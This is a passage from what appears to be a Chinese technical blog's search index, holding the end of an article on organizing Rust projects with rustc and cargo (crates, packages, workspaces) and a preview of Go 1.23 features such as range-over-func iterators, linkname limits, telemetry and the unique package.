crates：\n$rustc --crate-type lib --crate-name my_local_crate1 my_local_crate1/lib.rs $rustc --crate-type lib --crate-name my_local_crate2 my_local_crate2/lib.rs 这会在项目顶层目录下生成两个rlib文件：\n$ls |grep rlib libmy_local_crate1.rlib libmy_local_crate2.rlib 之后，我们就可以用之前学到的方法编译binary crate了：\n$rustc --extern my_local_crate1=libmy_local_crate1.rlib --extern my_local_crate2=libmy_local_crate2.rlib main.rs 上述的几个rustc-only的rust项目都是hard模式的，即一切都需要手工去做，包括下载crate、编译crate时传入各种路径等。在真正的生产中，Rustacean们是不会这么做的，而是会直接使用cargo对rust项目进行管理。接下来，我们就来系统地看一下使用cargo进行rust项目管理以及对应的rust代码组织形式。\n4.3 使用cargo管理的Rust项目 在前面的章节中，我们见识过了：Rust的包管理器Cargo是一个强大的工具，可以帮助我们轻松地管理Rust项目，cargo才是生产类项目的项目构建管理工具标准，它可以让Rustacean避免复杂的手工rustc操作。Cargo提供了许多功能，包括依赖项管理、构建和测试等。不过在这篇文章中，我不会介绍这些功能，而是看看使用cargo管理的Rust项目都有哪些代码组织模式。\nRust项目的代码组织结构可以分为两类：单一package和多个package。\n什么是package？在之前的rust-only项目中，我们可从未见到过package！package是cargo引入的一个管理单元概念，它指的是一个独立的Rust项目，包含了源代码、依赖项和配置信息。每个Package都有一个唯一的名称和版本号，用于标识和管理项目。因此，在the cargo book中，cargo也被称为“Rust package manager”，crates.io也被称为“the Rust community’s package registry”。\n最能直观体现package存在的就是下面Cargo.toml中的配置了：\n[package] name = \u0026#34;hello_world\u0026#34; version = \u0026#34;0.1.0\u0026#34; edition = \u0026#34;2021\u0026#34; [dependencies] 下面我们就来看看不同类型的rust package的代码组织形式。我们先从单一package形态的项目来开始。\n4.3.1 单一package的rust项目 单一package项目是指整个项目只有一个Cargo.toml文件。这种项目还可以进一步分为三类：\n单一Binary Crate 单一Library Crate 多个Binary Crate和一个Library Crate 下面我们分别举例来说明一下这三类项目。\n4.3.1.1 单一Binary Crate 我们进入organizing-rust-code/cargo/single-package/single-binary-crate，然后执行下面命令来创建一个单一Binary Crate的项目：\n$cargo new hello_world --bin Created binary (application) `hello_world` package 这个例子我们在之前的章节中也是见过的，它的结构如下：\n$tree hello_world hello_world ├── Cargo.toml └── src └── main.rs 1 directory, 2 files 默认生成的Cargo.toml内容如下：\n[package] name = \u0026#34;hello_world\u0026#34; version = \u0026#34;0.1.0\u0026#34; edition = \u0026#34;2021\u0026#34; # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html [dependencies] 使用cargo build即可完成该项目的构建：\n$cargo build Compiling hello_world v0.1.0 (/Users/tonybai/Go/src/github.com/bigwhite/experiments/rust-guide-for-gopher/organizing-rust-code/cargo/single-package/single-binary-crate/hello_world) Finished dev [unoptimized + debuginfo] target(s) in 1.16s 为了更显式地体现这是一个binary crate，我们可以在Cargo.toml增加如下内容：\n[[bin]] name = \u0026#34;hello_world\u0026#34; path = \u0026#34;src/main.rs\u0026#34; 这不会影响cargo的构建结果！\n通过cargo run可以查看构建出的可执行文件的运行结果：\n$cargo run Finished dev [unoptimized + debuginfo] target(s) in 0.06s Running `target/debug/hello_world` Hello, world! 接下来，我们再来看看单一library crate的rust项目。\n4.3.1.2 单一Library Crate 我们进入organizing-rust-code/cargo/single-package/single-library-crate，然后执行下面命令来创建一个单一Library Crate的项目：\n$cargo new my_library --lib Created library `my_library` package 创建后的my_library项目的结构如下：\n$tree . ├── Cargo.toml └── src └── lib.rs 默认生成的Cargo.toml如下：\n[package] name = \u0026#34;my_library\u0026#34; version = \u0026#34;0.1.0\u0026#34; edition = \u0026#34;2021\u0026#34; # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html [dependencies] 和binary crate的一样，我们也可以显式指定target：\n[lib] name = \u0026#34;my_library\u0026#34; path = \u0026#34;src/lib.rs\u0026#34; 注意，这里是[lib]而不是[[lib]]，这是因为在一个carge package中最多只能存在一个library crate，但binary crate可以有多个。\n接下来，我们就看看一个由多个binary crate和一个library crate混合构成的rust项目。\n4.3.1.3 多个Binary Crate和一个Library Crate 我们在organizing-rust-code/cargo/single-package/hybrid-crates下面执行如下命令创建这个多crates混合项目：\n$cargo new my_project Created binary (application) `my_project` package 上述命令默认创建了一个binary crate的project，我们需要配置一下Cargo.toml，将其改造为多个crates并存的project：\n[package] name = \u0026#34;my_project\u0026#34; version = \u0026#34;0.1.0\u0026#34; edition = \u0026#34;2021\u0026#34; [[bin]] name = \u0026#34;cmd1\u0026#34; path = \u0026#34;src/main1.rs\u0026#34; [[bin]] name = \u0026#34;cmd2\u0026#34; path = \u0026#34;src/main2.rs\u0026#34; [lib] name = \u0026#34;my_library\u0026#34; path = \u0026#34;src/lib.rs\u0026#34; # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html [dependencies] 这里定义了三个crates。两个binary crates: cmd1、cmd2以及一个library crate：my_library。\n如果我们执行cargo build，cargo会将三个crate都构建出来：\n$cargo build Compiling my_project v0.1.0 (/Users/tonybai/Go/src/github.com/bigwhite/experiments/rust-guide-for-gopher/organizing-rust-code/cargo/single-package/hybrid-crates/my_project) Finished dev [unoptimized + debuginfo] target(s) in 0.80s 我们可以在target/debug下找到构建出的crates：cmd1、cmd2和libmy_library.rlib：\n$ls target/debug build/ cmd1.d cmd2.d examples/ libmy_library.d cmd1* cmd2* deps/ incremental/ libmy_library.rlib 我们也可以通过cargo分别运行两个binary crate：\n$cargo run --bin cmd1 Finished dev [unoptimized + debuginfo] target(s) in 0.02s Running `target/debug/cmd1` cmd1 $cargo run --bin cmd2 Finished dev [unoptimized + debuginfo] target(s) in 0.00s Running `target/debug/cmd2` cmd2 4.3.1.4 典型的cargo package 在The cargo book中，有一个典型的cargo package的示例：\n. ├── Cargo.lock ├── Cargo.toml ├── src/ │ ├── lib.rs │ ├── main.rs │ └── bin/ │ ├── named-executable.rs │ ├── another-executable.rs │ └── multi-file-executable/ │ ├── main.rs │ └── some_module.rs ├── benches/ │ ├── large-input.rs │ └── multi-file-bench/ │ ├── main.rs │ └── bench_module.rs ├── examples/ │ ├── simple.rs │ └── multi-file-example/ │ ├── main.rs │ └── ex_module.rs └── tests/ ├── some-integration-tests.rs └── multi-file-test/ ├── main.rs └── test_module.rs 在这样一个典型的项目中：\nCargo.toml和Cargo.lock文件存储在包的根目录（包根目录）中。 源代码位于src目录中。 默认的库文件是src/lib.rs。 默认的可执行文件是src/main.rs。 其他可执行文件可以放在src/bin/目录中。 基准测试位于benches目录中。 示例位于examples目录中。 集成测试位于tests目录中。 4.3.2 多package的rust项目 一些中大型的Rust项目都是多package的，比如rust的异步编程事实标准tokio库、刚刚升级为Apache基金会顶级项目的SQL查询引擎datafusion等。以tokio为例，这些项目的顶层Cargo.toml都是这样的：\n// https://github.com/tokio-rs/tokio/blob/master/Cargo.toml [workspace] resolver = \u0026#34;2\u0026#34; members = [ \u0026#34;tokio\u0026#34;, \u0026#34;tokio-macros\u0026#34;, \u0026#34;tokio-test\u0026#34;, \u0026#34;tokio-stream\u0026#34;, \u0026#34;tokio-util\u0026#34;, # Internal \u0026#34;benches\u0026#34;, \u0026#34;examples\u0026#34;, \u0026#34;stress-test\u0026#34;, \u0026#34;tests-build\u0026#34;, \u0026#34;tests-integration\u0026#34;, ] [workspace.metadata.spellcheck] config = \u0026#34;spellcheck.toml\u0026#34; 上面这个Cargo.toml示例与我们在前面见到的Cargo.toml都不一样，它并不包含package配置，其主要的配置为workspace。我们看到workspace的members字段中配置了该项目下的其他package。正是通过这个配置，cargo可以在一个项目里管理和构建多个package。\n工作空间（Workspace）是一组一个或多个包（Package）的集合，这些包称为工作空间成员（Workspace Members），它们一起被管理。接下来，我们就来创建一个多package的cargo项目。\n4.3.2.1 cargo管理的多package项目 由于cargo并没有提供cargo new my-pakcage –workspace这样的命令行参数，项目的顶层Cargo.toml需要我们手动创建和编辑。\n$cd organizing-rust-code/cargo/multi-packages $mkdir my-workspace $cd my-workspace $cargo new package1 --bin Created binary (application) `package1` package $cargo new package2 --lib Created library `package2` package $cargo new package3 --lib Created library `package3` package 接下来，我们手工创建和编辑一下项目顶层的Cargo.toml如下：\n// organizing-rust-code/cargo/multi-packages/my-workspace/Cargo.toml [workspace] resolver = \u0026#34;2\u0026#34; members = [ \u0026#34;package1\u0026#34;, \u0026#34;package2\u0026#34;, \u0026#34;package3\u0026#34;, ] 保存后，我们可以在项目顶层目录下使用下面命令检查整个工作空间（workspace）中的所有包（package），确保它们的代码正确无误，不包含任何编译错误：\n$cargo check --workspace Checking package1 v0.1.0 (/Users/tonybai/Go/src/github.com/bigwhite/experiments/rust-guide-for-gopher/organizing-rust-code/cargo/multi-packages/my-workspace/package1) Checking package2 v0.1.0 (/Users/tonybai/Go/src/github.com/bigwhite/experiments/rust-guide-for-gopher/organizing-rust-code/cargo/multi-packages/my-workspace/package2) Checking package3 v0.1.0 (/Users/tonybai/Go/src/github.com/bigwhite/experiments/rust-guide-for-gopher/organizing-rust-code/cargo/multi-packages/my-workspace/package3) Finished dev [unoptimized + debuginfo] target(s) in 0.18s 在顶层目录执行cargo build，cargo会build工作空间中的所有package：\n$cargo build Compiling package3 v0.1.0 (/Users/tonybai/Go/src/github.com/bigwhite/experiments/rust-guide-for-gopher/organizing-rust-code/cargo/multi-packages/my-workspace/package3) Compiling package2 v0.1.0 (/Users/tonybai/Go/src/github.com/bigwhite/experiments/rust-guide-for-gopher/organizing-rust-code/cargo/multi-packages/my-workspace/package2) Compiling package1 v0.1.0 (/Users/tonybai/Go/src/github.com/bigwhite/experiments/rust-guide-for-gopher/organizing-rust-code/cargo/multi-packages/my-workspace/package1) Finished dev [unoptimized + debuginfo] target(s) in 0.64s 构建后，该项目的目录结构变成下面这个样子：\n$tree -L 2 -F . ├── Cargo.lock ├── Cargo.toml ├── package1/ │ ├── Cargo.toml │ └── src/ ├── package2/ │ ├── Cargo.toml │ └── src/ ├── package3/ │ ├── Cargo.toml │ └── src/ └── target/ ├── CACHEDIR.TAG └── debug/ 我们看到该项目下的所有package共享一个共同的 Cargo.lock 文件，该文件位于工作空间的根目录下。并且，所有包共享一个共同的输出目录，默认情况下是工作空间根目录下的一个名为target的目录，该target目录下的布局如下：\n$tree -F -L 2 ./target ./target ├── CACHEDIR.TAG └── debug/ ├── build/ ├── deps/ ├── examples/ ├── incremental/ ├── libpackage2.d ├── libpackage2.rlib ├── libpackage3.d ├── libpackage3.rlib ├── package1* └── package1.d 我们在这下面可以找到所有package的编译输出结果，比如package1、libpackage2.rlib以及libpackage3.rlib。\n当然，你也可以指定一个package来构建或运行：\n$cargo build -p package1 Finished dev [unoptimized + debuginfo] target(s) in 0.00s $cargo build -p package2 Finished dev [unoptimized + debuginfo] target(s) in 0.00s $cargo run -p package1 Finished dev [unoptimized + debuginfo] target(s) in 0.00s Running `target/debug/package1` Hello, world! 4.3.2.2 带有外部依赖和内部依赖的多package项目 我们复制一份my-workspace，改名为my-workspace-with-deps，修改一下package1/src/main.rs，为其增加外部依赖rand crate：\n// organizing-rust-code/cargo/multi-packages/my-workspace-with-deps/package1/src/main.rs extern crate rand; use rand::Rng; fn main() { let mut rng = rand::thread_rng(); let num: u32 = rng.gen(); println!(\u0026#34;Random number: {}\u0026#34;, num); } 接下来，我们需要修改一下package1/Cargo.toml，手工加上对rand crate的依赖配置：\n// organizing-rust-code/cargo/multi-packages/my-workspace-with-deps/package1/Cargo.toml [package] name = \u0026#34;package1\u0026#34; version = \u0026#34;0.1.0\u0026#34; edition = \u0026#34;2021\u0026#34; # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html [dependencies] rand = \u0026#34;0.8.5\u0026#34; 保存后，我们执行package1的构建：\n$cargo build -p package1 Downloaded getrandom v0.2.14 (registry `rsproxy`) Downloaded libc v0.2.154 (registry `rsproxy`) Downloaded 2 crates (780.6 KB) in 1m 07s Compiling libc v0.2.154 Compiling cfg-if v1.0.0 Compiling ppv-lite86 v0.2.17 Compiling getrandom v0.2.14 Compiling rand_core v0.6.4 Compiling rand_chacha v0.3.1 Compiling rand v0.8.5 Compiling package1 v0.1.0 (/Users/tonybai/Go/src/github.com/bigwhite/experiments/rust-guide-for-gopher/organizing-rust-code/cargo/multi-packages/my-workspace-with-deps/package1) Finished dev [unoptimized + debuginfo] target(s) in 1m 46s 我们看到：cargo会自动下载package1的直接外部依赖以及相关间接依赖。构建成功后，可以执行一下package1的编译结果：\n$cargo run -p package1 Finished dev [unoptimized + debuginfo] target(s) in 0.09s Running `target/debug/package1` Random number: 3840180495 接下来，我们再为package1添加内部依赖，比如依赖package2的编译结果：\n// organizing-rust-code/cargo/multi-packages/my-workspace-with-deps/package1/src/main.rs extern crate package2; extern crate rand; use rand::Rng; fn main() { let mut rng = rand::thread_rng(); let num: u32 = rng.gen(); println!(\u0026#34;Random number: {}\u0026#34;, num); let result = package2::add(2, 2); println!(\u0026#34;result: {}\u0026#34;, result); } // organizing-rust-code/cargo/multi-packages/my-workspace-with-deps/package1/Cargo.toml [package] name = \u0026#34;package1\u0026#34; version = \u0026#34;0.1.0\u0026#34; edition = \u0026#34;2021\u0026#34; # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html [dependencies] rand = \u0026#34;0.8.5\u0026#34; package2 = { path = \u0026#34;../package2\u0026#34; } 我们看到：package1的main.rs依赖package2这个crate中的add函数，我们在package1的Cargo.toml中为package1添加了新依赖package2，由于package2仅仅存放在本地，所以这里我们使用了path方式指定package2的位置。\n我们执行一下添加内部依赖后的package1：\n$cargo run -p package1 Finished dev [unoptimized + debuginfo] target(s) in 0.02s Running `target/debug/package1` Random number: 2485645524 result: 4 4.4 小结 本文循序渐进地讨论了在Rust项目中如何组织代码的问题，这对于Rust初学者来说尤为有用。\n我们首先回顾了Go语言中的代码组织方式，介绍了Go项目代码组织的两个层级：module和package。然后，我们将Rust项目可以分为两种类型：使用rustc编译器的项目和使用Cargo的项目。\n对于rustc-only的项目，开发者需要编写自己的构建脚本来管理项目的构建过程。\n文章从最简单的单文件rustc-only项目开始介绍，展示了如何使用rustc编译器来编译和运行这种项目，并逐步介绍了带有外部依赖的rustc-only项目以及多文件项目的情况，引出了rust module概念。\nrustc-only项目很少用于生产环境，这种方式主要用于学习和了解Rustc编译器的功能机制以及Rust语言的代码组织抽象。\n在实际开发中，使用Cargo来创建和管理Rust包是常见的做法。在本章的后半段，我们介绍了使用cargo管理的rust项目的代码组织情况，包括单package项目和多package项目以及如何为项目引入外部和内部依赖。\n总体而言，本文旨在帮助初学者理解和掌握Rust项目的代码组织结构，以提高学习效率和学习效果。通过介绍rustc-only项目和cargo管理的项目，读者可以逐步了解Rust代码组织的基本概念和实践方法。\n本文涉及的源码可以在这里下载。\n4.5 参考资料 The book – https://doc.rust-lang.org/book The cargo book – https://doc.rust-lang.org/cargo/index.html The rustc book – https://doc.rust-lang.org/rustc/index.html Gopher部落知识星球在2024年将继续致力于打造一个高品质的Go语言学习和交流平台。我们将继续提供优质的Go技术文章首发和阅读体验。同时，我们也会加强代码质量和最佳实践的分享，包括如何编写简洁、可读、可测试的Go代码。此外，我们还会加强星友之间的交流和互动。欢迎大家踊跃提问，分享心得，讨论技术。我会在第一时间进行解答和交流。我衷心希望Gopher部落可以成为大家学习、进步、交流的港湾。让我相聚在Gopher部落，享受coding的快乐! 欢迎大家踊跃加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2024/06/06/gopher-rust-first-lesson-organizing-rust-code/","summary":"\u003cp\u003e\u003cimg alt=\"Image 29\" loading=\"lazy\" src=\"/images/wp-content/uploads/gopher-rust-first-lesson-organizing-rust-code-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2024/06/06/gopher-rust-first-lesson-organizing-rust-code\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2024/06/06/gopher-rust-first-lesson-organizing-rust-code\"\u003ehttps://tonybai.com/2024/06/06/gopher-rust-first-lesson-organizing-rust-code\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e在上一章的讲解中，我们编写了\u003ca href=\"https://tonybai.com/2024/05/27/gopher-rust-first-lesson-first-rust-program\"\u003e第一个Rust示例程序”hello, world”\u003c/a\u003e，并给出了rustc版和cargo版本。在真实开发中，我们都会使用cargo来创建和管理Rust包。不过，Hello, world示例非常简单，仅仅由一个Rust源码文件组成，而且所有源码文件都在同一个目录中。但真实世界中的实用Rust程序，无论是公司商业项目，还是一些知名的开源项目，甚至是一些稍复杂一些的供教学使用的示例程序，它们通常可不会这么简单，都有着复杂的代码结构。\u003c/p\u003e","title":"Gopher的Rust第一课：Rust代码组织"},{"content":"\n本文永久链接 – https://tonybai.com/2024/05/30/go-1-23-foresight\n2024年5月22日，Go 1.23版本功能特性正式冻结，后续将只改bug，不增加新feature。\n对Go团队来说，这意味着开始了Go 1.23rc1的冲刺，对我们普通Gopher而言，这意味着是时候对Go 1.23新增的功能做一些前瞻了！\n在Go没有发布Go 1.23rc1之前，我们至少可以通过以下两种渠道体验Go 1.23的最新特性：\n通过go install安装tip版本； 使用Go playground在线体验。 注：关于Go tip的安装方法以及Go playground在线体验的详细说明，这里就不赘述了，《Go语言第一课》专栏的“03｜配好环境：选择一种最适合你的Go安装方法”有系统全面的讲解，欢迎订阅阅读。\n按照Go Release cycle，Go 1.23将于2024年8月发布！因此目前为时尚早，下面列出的有些变化最终不一定能进入到Go 1.23的最终版本中，有小概率被revert的可能或者推迟到下一个版本(Go 1.24)，所以切记一切变更点要以最终Go 1.23版本发布时为准。\n1. 语言变化 Go 1.23语言变化较少，除了range over func试验特性转正，再有就是几个悬而未决的spec变更。\n1.1 range over func试验特性转正(61405) Go 1.22版本引入了range over func试验特性，通过GOEXPERIMENT=rangefunc，可以实现函数迭代器。这一特性在Go 1.23版本正式转正，下面代码可以直接使用Go 1.23编译运行：\n// go1.23-foresight/lang/range-over-function-iterator/main.go package main import \u0026#34;fmt\u0026#34; func Backward[E any](s []E) func(func(int, E) bool) { return func(yield func(int, E) bool) { for i := len(s) - 1; i \u0026gt;= 0; i-- { if !yield(i, s[i]) { return } } return } } func main() { sl := []string{\u0026#34;hello\u0026#34;, \u0026#34;world\u0026#34;, \u0026#34;golang\u0026#34;} for i, s := range Backward(sl) { fmt.Printf(\u0026#34;%d : %s\\n\u0026#34;, i, s) } } 使用Go 1.23运行上述示例：\n$go run main.go 2 : golang 1 : world 0 : hello range over func可以提供一种统一、高效的迭代方式, 为泛型后的自定义容器类提供统一的迭代接口，同时也可以替代部分现有API返回切片的做法, 改为通过迭代器的形式改进性能（通过编译器的优化），甚至还可以为函数式编程风格提供标准迭代机制。\nrang over func机制的实现是通过编译器在源码层面的转换，其转换形式大致如下：\n// 单循环变量 for x := range f1 { ... } 将被转换为：\nf1(func(x T) bool { ... }) 而另外一种常见的双循环变量形式的for range：\nfor expr1, expr2 = range f2 { ... } 将被转换为：\nf2(func(#p1 T1, #p2 T2) bool { expr1, expr2 = #p1, #p2 ... }) 前提是：f1和f2分别要满足标准库中iter包中的下面函数原型形式：\n// $GOROOT/src/iter/iter.go type Seq[V any] func(yield func(V) bool) bool type Seq2[K, V any] func(yield func(K, V) bool) bool 此外，for range循环体中如果有break，将被转换为f1/f2中的return false，而如果有continue，则会被转换为return true。当然这只是大致的形式，实际的转换远比这个要复杂很多，要考虑的情况也是十分复杂。更为具体、复杂的转换可以参考Go编译器的实现源码rewrite.go\n函数迭代器虽然转正，但肯定尚未成熟，后续还会有诸多问题(比如一些corner case)需要解决，比如Russ Cox新开的issue 65236就在讨论是否允许忽略迭代变量；issue 65237将跟踪spec中与range over func相关内容的变更。\n1.2 spec：几个悬而未决的issue 明确依赖常量的包级变量初始化时的次序(issue 66575) 这个issue来自我提出的《Go 1.22引入的包级变量初始化次序问题》，Go 1.23已经修正了该问题，并保持与Go 1.22之前的版本一致，但go spec中尚未就此给出明确的说明。\n澄清”严格可比较”(strictly comparable)和”类型约束”(type constraints)等术语 (issue 59104) 修改关于”类型参数是接口”的说明，避免引起混淆(issue 57310) 禁止匿名接口类型的循环定义(issue 56103) 一些issue已经“跳票”多次，不能确定以上issue都能最终在Go 1.23得以解决！\n2. 编译器与运行时 2.1 优化了PGO(Profile Guided Optimization)带来的处理开销 (issue 58102) Go社区发现启用PGO后，每个cmd/compile调用都会解析完整的PGO pprof配置文件，构建完整的权重图，然后确定与该包相关的内容。这类工作项有很多，并且随着Profile文件的大小和构建包的数量的扩展，构建开销也会增大。尤其是对于那些特别大的项目，PGO Profile很大，这可能会导致构建时间增加100%以上。\nGo 1.23对这个问题进行了优化，PGO开销被降到了个位数百分比。\n2.2 限制将来对linkname的使用(67401) 在Go语言中，//go:linkname指令可以用来链接到标准库或其他包中的未导出符号。比如我们想访问runtime包中的一个未导出函数，例如runtime.nanotime。这个函数返回当前时间的纳秒数。我们可以通过//go:linkname指令链接到这个符号。下面我用一个示例来演示一下这点：\n// go1.23-foresight/compiler/golinkname/main.go package main import ( \u0026#34;fmt\u0026#34; _ \u0026#34;unsafe\u0026#34; // 必须导入 unsafe 包以使用 //go:linkname ) // 声明符号链接 // //go:linkname nanotime runtime.nanotime func nanotime() int64 func main() { // 调用未导出的 runtime.nanotime 函数 fmt.Println(\u0026#34;Current time in nanoseconds:\u0026#34;, nanotime()) } 运行该示例：\n$go run main.go Current time in nanoseconds: 374424337532051 这种做法一般不推荐，因为它可能导致程序不稳定，并且未来版本的Go可能会改变内部实现（比如nanotime被改名或被删除），破坏你的代码。\nGo团队已经意识到这一点，并发现现存开源代码中有很多代码都通过//go:linkname依赖Go项目的internal下的包或Go标准库的未导出符号。这显然不是Go团队想看到的事儿，于是Russ Cox发起issue 67401，旨在考虑限制对//go:linkname的使用。\n该issue虽然在Go 1.23 milestone中，但最终是否能落在Go 1.23中还不确定，毕竟这样的调整会导致一些现存代码无法正常编译运行。\n2.3 其他一些优化 优化内存分配器的行为，减少了大内存(带有指针)分配时的长暂停 (issue 31222) 修复Windows下time.Sleep的精度问题(issue 44343) 增加了设置崩溃输出的API runtime/debug.SetCrashOutput(issue 42888) 对内联器继续进行大修：重构优化 (issue 61502)，这是一个长期任务，估计后续版本还会继续。 3. 工具链 3.1 新增go telemetry子命令，改进go工具链的遥测能力 (issue 67111) Russ Cox去年初就在个人博客上发布了四篇有关Go Telemetry的文章，在2023 GopherCon大会上，Russ Cox也谈到了Go Telemetry对基于数据驱动进行Go演进决策的重要性。Russ Cox亲自创建的“all: add opt-in transparent telemetry to Go toolchain”提案也被Go项目接受。\nGo工具链中的telemetry是数据驱动的重要一环，最初golang.org/x/telemetry实验项目被建立。在Go 1.23中，go工具链新增了go telemetry子命令，该子命令就是基于golang.org/x/telemetry实验项目，这也是Go团队实现某一个特性的一贯套路。\ngo telemetry子命令用法大致如下(以最终版本的doc为准)：\ngo telemetry - 打印telemetry mode: on, off or local； go telemetry on - 设置mode为on；即开启telemetry且上传遥测数据。 go telemetry local - 设置mode为local；即telemetry数据仅存储在本地，但不上传。 go telemetry off - 设置mode为off。即关闭telemetry go clean -telemetry - 清理本地的遥测数据目录。 3.2 其他一些改变 go build(-json)支持以json形式输出构建结果(issue 62067)，让构建结果更结构化 移除了对GOROOT_FINAL的支持 (issue 62047)，估计很多人不知道或完全没用过GOROOT_FINAL，我也是如此。 4. 标准库 4.1 Timer/Ticker变化 timer/ticker的stop/reset问题一直困扰Go团队，Go 1.23的两个重要fix期望能从根本上解决这个问题：\nTimer/Ticker的GC不再需要Stop(issue 61542) 程序不再引用的Timer和Ticker将立即有资格进行垃圾回收，即使它们的Stop方法尚未被调用。Go的早期版本直到触发后才会收集未停止的Timer，并且从未收集未停止的Ticker。\nTimer/Ticker的Stop/Reset后不再接收旧值(issue 37196) 与Timer或Ticker关联的计时器channel现在改为无缓冲的了，即容量为0 。此更改的主要效果是Go现在保证任何对Reset或Stop方法的调用，调用之前不会发送或接收任何陈旧值。 Go的早期版本使用带有缓冲区的channel，因此很难正确使用Reset和Stop。此更改的一个明显效果是计时器channel的len和cap现在返回0而不是1，这可能会影响轮询长度以确定是否在计时器channel上接收的程序。通过GODEBUG设置asynctimerchan=1可恢复异步通道行为。\n4.2 新增unique包(issue 62483) unique包的灵感来自于第三方包go4.org/intern，也是为了弥补Go语言缺乏对interning内置支持的空缺。\n根据wikipedia的描述，interning是按需重复使用具有同等值对象的技术，减少创建新对象的动作。这种创建模式经常用于不同编程语言中的数和字符串，可以避免不必要的对象重复分配的开销。\nGo unique包即是Go的interning机制的实现，unique包提供了一种高效的值去重和快速比较的机制，可以用于优化某些特定场景下的程序性能。\nunique包提供给开发人员的API接口非常简单：Make用来创建Handle实例，Handle的方法Value用于获取值的拷贝。下面是一个使用unique包的典型示例：\n// go1.23-foresight/lib/unique/main.go package main import ( \u0026#34;fmt\u0026#34; \u0026#34;unique\u0026#34; ) func main() { // 创建唯一Handle s1 := unique.Make(\u0026#34;hello\u0026#34;) s2 := unique.Make(\u0026#34;world\u0026#34;) s3 := unique.Make(\u0026#34;hello\u0026#34;) // s1和s3是相等的，因为它们是同一个字符串值 fmt.Println(s1 == s3) // true fmt.Println(s1 == s2) // false // 从Handle获取原始值 fmt.Println(s1.Value()) // hello fmt.Println(s2.Value()) // world } 代码和输出结果都不难理解，这类就不赘述了。\n4.3 函数迭代器相关 前面说过，函数迭代器转正了。标准库中有一些包立即就提供了一些便利的、可以与函数迭代器一起使用的函数，以slices、maps两个后加入Go标准库的泛型容器包为主。\n其中slices包增加了：All、Values、Backward、Collect、AppendSeq、Sortted、SortedFunc、SortedStableFunc和Chunk。maps包增加了All、Keys、Values、Insert和Collect。\n我们以slices包的All和Backward来构建一个示例，直观感受一下：\n// go1.23-foresight/lib/slices/main.go package main import ( \u0026#34;fmt\u0026#34; \u0026#34;slices\u0026#34; ) func main() { sl := []string{\u0026#34;hello\u0026#34;, \u0026#34;world\u0026#34;, \u0026#34;golang\u0026#34;} for i, s := range slices.All(sl) { fmt.Printf(\u0026#34;%d : %s\\n\u0026#34;, i, s) } for i, s := range slices.Backward(sl) { fmt.Printf(\u0026#34;%d : %s\\n\u0026#34;, i, s) } } 运行该示例：\n$go run main.go 0 : hello 1 : world 2 : golang 2 : golang 1 : world 0 : hello 和以往一样，Go标准库是变化最多的一块儿，但篇幅有限，这里不便枚举，大家可以自行查看Go 1.23里程碑，选择自己关注的标准库变化，并深入研究。\n5. 小结 本文主要预览了Go 1.23版本即将带来的新特性和变化。\n首先在语言层面，range over func试验特性正式转正，提供统一高效的迭代方式；同时也会修复之前一些悬而未决的规范问题。\n其次，在编译器和运行时方面，Go 1.23将优化PGO带来的开销，限制对linkname的使用，优化内存分配器和内联器等。工具链方面，新增telemetry子命令改进遥测能力。\n标准库也有不少变化，比如Timer/Ticker的相关修复，新增unique包实现interning机制，以及为函数迭代器新增一些辅助函数。\nGo 1.23的Release Notes的编写方式也做了调整，详细内容可参考我的公号文章《Go 1.23 Release Notes编写方式改进！》。\n总的来说，Go 1.23包含了语法、编译器、运行时、工具链和标准库等多方面的改进，其中最主要集中在编译器性能优化、PGO特性增强、新编译器功能实现以及标准库增强等方面。\n不过由于Go 1.23尚未发布，文中部分变化还可能被修改或推迟到下个版本。最终还是以正式发布版为准。文末也列出了一些相关资源链接，方便读者深入了解。\n截至发文时，Go 1.23 milestone已经完成59%(https://github.com/golang/go/milestone/212)，还有188个open的issue待解决。究竟Go 1.23最终会做出哪些改变，让我们拭目以待！\n最后，感谢Go团队以及所有Go 1.23贡献者做出的伟大工作！\n文本涉及的源码可以在这里下载。\n6. 参考资料 Go 1.23版本里程碑 – https://github.com/golang/go/milestone/212 Next Release Notes Draft – https://tip.golang.org/doc/next Go Release Dashboard – https://dev.golang.org/release Gopher部落知识星球在2024年将继续致力于打造一个高品质的Go语言学习和交流平台。我们将继续提供优质的Go技术文章首发和阅读体验。同时，我们也会加强代码质量和最佳实践的分享，包括如何编写简洁、可读、可测试的Go代码。此外，我们还会加强星友之间的交流和互动。欢迎大家踊跃提问，分享心得，讨论技术。我会在第一时间进行解答和交流。我衷心希望Gopher部落可以成为大家学习、进步、交流的港湾。让我相聚在Gopher部落，享受coding的快乐! 欢迎大家踊跃加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2024/05/30/go-1-23-foresight/","summary":"\u003cp\u003e\u003cimg alt=\"Image 29\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-1-23-foresight-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca 